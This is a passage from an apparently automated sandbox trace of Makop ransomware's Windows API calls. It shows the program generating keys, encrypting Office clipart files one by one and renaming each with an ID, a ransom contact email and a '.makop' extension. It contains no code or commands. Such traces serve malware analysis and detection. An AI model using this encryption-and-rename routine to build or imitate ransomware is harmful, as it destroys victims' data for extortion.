(HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0112.094] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0112.095] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0112.095] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0112.099] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0112.099] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0112.099] GetProcessHeap () returned 0x48a0000 [0112.099] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0112.099] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0112.099] CryptDestroyKey (hKey=0x48c7128) returned 1 [0112.099] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0112.100] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0112.100] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0112.100] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0112.100] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0112.100] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0112.100] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0112.101] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0112.101] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.101] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xa8c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xa8c, lpOverlapped=0x0) returned 1 [0112.101] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xa90, dwBufLen=0xa90 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xa90) returned 1 [0112.101] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.101] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xa90, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xa90, lpOverlapped=0x0) returned 1 [0112.101] CryptDestroyKey (hKey=0x48c7128) returned 1 [0112.101] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xb64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.102] SetEndOfFile (hFile=0xf0) returned 1 [0112.109] GetProcessHeap () returned 0x48a0000 [0112.109] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0112.109] GetProcessHeap () returned 0x48a0000 [0112.109] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0112.109] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0112.109] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00172_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00172_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0112.110] CloseHandle (hObject=0xf0) returned 1 [0112.111] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95cb3000, ftCreationTime.dwHighDateTime=0x1bd4c5e, ftLastAccessTime.dwLowDateTime=0x51f70990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95cb3000, ftLastWriteTime.dwHighDateTime=0x1bd4c5e, nFileSizeHigh=0x0, nFileSizeLow=0x1b2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ED00184_.WMF", cAlternateFileName="")) returned 1 [0112.111] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 63 [0112.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0112.112] GetProcessHeap () returned 0x48a0000 [0112.112] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0112.112] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0112.112] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0112.112] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0112.117] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0112.117] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0112.117] GetProcessHeap () returned 0x48a0000 [0112.117] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0112.117] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0112.117] CryptDestroyKey (hKey=0x48c7128) returned 1 [0112.117] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0112.117] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0112.117] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0112.117] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0112.118] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0112.118] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0112.118] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0112.118] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0112.118] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.118] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1b2e, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1b2e, lpOverlapped=0x0) returned 1 [0112.120] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1b30, dwBufLen=0x1b30 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1b30) returned 1 [0112.120] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.120] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1b30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1b30, lpOverlapped=0x0) returned 1 [0112.121] CryptDestroyKey (hKey=0x48c7128) returned 1 [0112.121] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1c04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.121] SetEndOfFile (hFile=0xf0) returned 1 [0112.128] GetProcessHeap () returned 0x48a0000 [0112.128] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0112.128] GetProcessHeap () returned 0x48a0000 [0112.128] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0112.129] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0112.129] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00184_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00184_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0112.130] CloseHandle (hObject=0xf0) returned 1 [0112.131] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d81900, ftCreationTime.dwHighDateTime=0x1bd4b37, ftLastAccessTime.dwLowDateTime=0x609299b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x27d81900, ftLastWriteTime.dwHighDateTime=0x1bd4b37, nFileSizeHigh=0x0, nFileSizeLow=0x3670, dwReserved0=0x0, dwReserved1=0x0, cFileName="EN00006_.WMF", cAlternateFileName="")) returned 1 [0112.131] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 63 [0112.131] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00006_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0112.133] GetProcessHeap () returned 0x48a0000 [0112.133] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0112.133] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0112.133] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0112.133] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0112.133] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0112.133] GetProcessHeap () returned 0x48a0000 [0112.133] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0112.134] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0112.134] CryptDestroyKey (hKey=0x48c7128) returned 1 [0112.134] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0112.138] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0112.138] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0112.138] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0112.138] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0112.139] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0112.139] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0112.139] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0112.139] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.139] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3670, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3670, lpOverlapped=0x0) returned 1 [0112.141] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3670, dwBufLen=0x3670 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3670) returned 1 [0112.141] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.141] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3670, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3670, lpOverlapped=0x0) returned 1 [0112.141] CryptDestroyKey (hKey=0x48c7128) returned 1 [0112.142] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3744, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.142] SetEndOfFile (hFile=0xf0) returned 1 [0112.150] GetProcessHeap () returned 0x48a0000 [0112.150] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0112.150] GetProcessHeap () returned 0x48a0000 [0112.150] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0112.150] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0112.150] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00006_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00006_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0112.152] CloseHandle (hObject=0xf0) returned 1 [0112.152] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57852200, ftCreationTime.dwHighDateTime=0x1bd4b33, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x57852200, ftLastWriteTime.dwHighDateTime=0x1bd4b33, nFileSizeHigh=0x0, nFileSizeLow=0x1b1a, dwReserved0=0x0, dwReserved1=0x0, cFileName="EN00202_.WMF", cAlternateFileName="")) returned 1 [0112.152] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 63 [0112.152] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00202_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0112.154] GetProcessHeap () returned 0x48a0000 [0112.154] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0112.154] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0112.154] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0112.155] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0112.159] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0112.159] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0112.159] GetProcessHeap () returned 0x48a0000 [0112.159] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0112.159] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0112.159] CryptDestroyKey (hKey=0x48c7128) returned 1 [0112.159] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0112.160] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0112.160] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0112.160] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0112.160] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0112.160] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0112.160] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0112.160] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0112.161] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.165] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1b1a, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1b1a, lpOverlapped=0x0) returned 1 [0112.166] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1b20, dwBufLen=0x1b20 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1b20) returned 1 [0112.166] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.167] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1b20, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1b20, lpOverlapped=0x0) returned 1 [0112.167] CryptDestroyKey (hKey=0x48c7128) returned 1 [0112.167] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1bf4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.167] SetEndOfFile (hFile=0xf0) returned 1 [0112.174] GetProcessHeap () returned 0x48a0000 [0112.174] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0112.174] GetProcessHeap () returned 0x48a0000 [0112.174] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0112.174] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0112.174] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00202_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00202_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0112.176] CloseHandle (hObject=0xf0) returned 1 [0112.176] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7a68a00, ftCreationTime.dwHighDateTime=0x1bd4b29, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd7a68a00, ftLastWriteTime.dwHighDateTime=0x1bd4b29, nFileSizeHigh=0x0, nFileSizeLow=0x3044, dwReserved0=0x0, dwReserved1=0x0, cFileName="EN00222_.WMF", cAlternateFileName="")) returned 1 [0112.176] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" 